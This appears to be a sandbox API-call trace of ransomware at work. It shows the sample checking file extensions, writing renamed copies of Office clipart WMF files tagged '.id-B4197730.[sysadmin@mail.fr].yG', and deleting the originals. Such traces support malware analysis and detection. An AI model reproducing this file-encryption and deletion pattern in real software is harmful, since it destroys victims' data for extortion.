	[0165.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.822] lstrlenW (lpString=".xlsx") returned 5
	[0165.822] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0165.822] lstrlenW (lpString=".ppt") returned 4
	[0165.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0165.822] lstrlenW (lpString=".zip") returned 4
	[0165.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.822] lstrlenW (lpString=".rar") returned 4
	[0165.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.822] lstrlenW (lpString=".bz2") returned 4
	[0165.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.822] lstrlenW (lpString=".7z") returned 3
	[0165.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0165.822] lstrlenW (lpString=".dbf") returned 4
	[0165.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0165.822] lstrlenW (lpString=".1cd") returned 4
	[0165.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68
	[0165.823] lstrlenW (lpString=".jpg") returned 4
	[0165.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.823] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=4796) returned 1
	[0165.823] CloseHandle (hObject=0x568) returned 1
	[0165.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 0x220
	[0165.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0165.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0165.825] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.825] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0165.826] GetLastError () returned 0x0
	[0165.826] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x12bc, lpOverlapped=0x0) returned 1
	[0165.849] WriteFile (in: hFile=0x364, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x12c0, lpOverlapped=0x0) returned 1
	[0165.851] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.851] WriteFile (in: hFile=0x364, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.852] SetEndOfFile (hFile=0x364) returned 1
	[0165.852] CloseHandle (hObject=0x364) returned 1
	[0165.852] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.852] SetEndOfFile (hFile=0x568) returned 1
	[0165.866] CloseHandle (hObject=0x568) returned 1
	[0165.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0165.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 1
	[0165.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0165.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0165.867] lstrlenW (lpString=".doc") returned 4
	[0165.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.868] lstrlenW (lpString=".docx") returned 5
	[0165.868] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0165.868] lstrlenW (lpString=".pdf") returned 4
	[0165.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.868] lstrlenW (lpString=".xls") returned 4
	[0165.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.868] lstrlenW (lpString=".xlsx") returned 5
	[0165.868] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0165.868] lstrlenW (lpString=".ppt") returned 4
	[0165.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0165.868] lstrlenW (lpString=".zip") returned 4
	[0165.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.868] lstrlenW (lpString=".rar") returned 4
	[0165.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.868] lstrlenW (lpString=".bz2") returned 4
	[0165.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.868] lstrlenW (lpString=".7z") returned 3
	[0165.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0165.868] lstrlenW (lpString=".dbf") returned 4
	[0165.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0165.868] lstrlenW (lpString=".1cd") returned 4
	[0165.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0165.869] lstrlenW (lpString=".jpg") returned 4
	[0165.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.869] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=14868) returned 1
	[0165.869] CloseHandle (hObject=0x568) returned 1
	[0165.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 0x220
	[0165.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0165.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0165.870] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.870] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0165.871] GetLastError () returned 0x0
	[0165.871] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x3a14, lpOverlapped=0x0) returned 1
	[0165.883] WriteFile (in: hFile=0x554, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x3a20, lpOverlapped=0x0) returned 1
	[0165.884] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.884] WriteFile (in: hFile=0x554, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.884] SetEndOfFile (hFile=0x554) returned 1
	[0165.884] CloseHandle (hObject=0x554) returned 1
	[0165.884] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.885] SetEndOfFile (hFile=0x568) returned 1
	[0165.887] CloseHandle (hObject=0x568) returned 1
	[0165.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0165.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 1
	[0165.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0165.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0165.888] lstrlenW (lpString=".doc") returned 4
	[0165.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.888] lstrlenW (lpString=".docx") returned 5
	[0165.889] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0165.889] lstrlenW (lpString=".pdf") returned 4
	[0165.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.889] lstrlenW (lpString=".xls") returned 4
	[0165.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.889] lstrlenW (lpString=".xlsx") returned 5
	[0165.889] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0165.889] lstrlenW (lpString=".ppt") returned 4
	[0165.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0165.889] lstrlenW (lpString=".zip") returned 4
	[0165.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.889] lstrlenW (lpString=".rar") returned 4
	[0165.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.889] lstrlenW (lpString=".bz2") returned 4
	[0165.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.889] lstrlenW (lpString=".7z") returned 3
	[0165.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0165.889] lstrlenW (lpString=".dbf") returned 4
	[0165.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0165.889] lstrlenW (lpString=".1cd") returned 4
	[0165.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68
	[0165.889] lstrlenW (lpString=".jpg") returned 4
	[0165.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.902] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=6320) returned 1
	[0165.902] CloseHandle (hObject=0x53c) returned 1
	[0165.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 0x220
	[0165.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0165.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0165.904] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.904] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0165.905] GetLastError () returned 0x0
	[0165.905] ReadFile (in: hFile=0x53c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x18b0, lpOverlapped=0x0) returned 1
	[0166.166] WriteFile (in: hFile=0x360, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x18c0, lpOverlapped=0x0) returned 1
	[0166.181] ReadFile (in: hFile=0x53c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.181] WriteFile (in: hFile=0x360, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.181] SetEndOfFile (hFile=0x360) returned 1
	[0166.195] CloseHandle (hObject=0x360) returned 1
	[0166.196] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.196] SetEndOfFile (hFile=0x53c) returned 1
	[0166.199] CloseHandle (hObject=0x53c) returned 1
	[0166.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 1
	[0166.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0166.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0166.201] lstrlenW (lpString=".doc") returned 4
	[0166.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.201] lstrlenW (lpString=".docx") returned 5
	[0166.201] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0166.201] lstrlenW (lpString=".pdf") returned 4
	[0166.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.201] lstrlenW (lpString=".xls") returned 4
	[0166.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.201] lstrlenW (lpString=".xlsx") returned 5
	[0166.201] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0166.201] lstrlenW (lpString=".ppt") returned 4
	[0166.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0166.201] lstrlenW (lpString=".zip") returned 4
	[0166.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.201] lstrlenW (lpString=".rar") returned 4
	[0166.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.201] lstrlenW (lpString=".bz2") returned 4
	[0166.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.202] lstrlenW (lpString=".7z") returned 3
	[0166.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0166.202] lstrlenW (lpString=".dbf") returned 4
	[0166.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0166.202] lstrlenW (lpString=".1cd") returned 4
	[0166.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68
	[0166.202] lstrlenW (lpString=".jpg") returned 4
	[0166.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.203] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=2900) returned 1
	[0166.203] CloseHandle (hObject=0x53c) returned 1
	[0166.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 0x220
	[0166.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0166.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0166.204] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.204] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0166.205] GetLastError () returned 0x0
	[0166.205] ReadFile (in: hFile=0x53c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xb54, lpOverlapped=0x0) returned 1
	[0166.227] WriteFile (in: hFile=0x360, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xb60, lpOverlapped=0x0) returned 1
	[0166.228] ReadFile (in: hFile=0x53c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.228] WriteFile (in: hFile=0x360, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.229] SetEndOfFile (hFile=0x360) returned 1
	[0166.229] CloseHandle (hObject=0x360) returned 1
	[0166.229] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.229] SetEndOfFile (hFile=0x53c) returned 1
	[0166.236] CloseHandle (hObject=0x53c) returned 1
	[0166.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0166.236] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 1
	[0166.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0166.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0166.237] lstrlenW (lpString=".doc") returned 4
	[0166.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.237] lstrlenW (lpString=".docx") returned 5
	[0166.237] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0166.237] lstrlenW (lpString=".pdf") returned 4
	[0166.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.237] lstrlenW (lpString=".xls") returned 4
	[0166.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.237] lstrlenW (lpString=".xlsx") returned 5
	[0166.238] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0166.238] lstrlenW (lpString=".ppt") returned 4
	[0166.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0166.238] lstrlenW (lpString=".zip") returned 4
	[0166.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.238] lstrlenW (lpString=".rar") returned 4
	[0166.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.238] lstrlenW (lpString=".bz2") returned 4
	[0166.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.238] lstrlenW (lpString=".7z") returned 3
	[0166.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0166.238] lstrlenW (lpString=".dbf") returned 4
	[0166.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0166.238] lstrlenW (lpString=".1cd") returned 4
	[0166.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0166.238] lstrlenW (lpString=".jpg") returned 4
	[0166.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.239] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=17060) returned 1
	[0166.239] CloseHandle (hObject=0x53c) returned 1
	[0166.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 0x220
	[0166.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
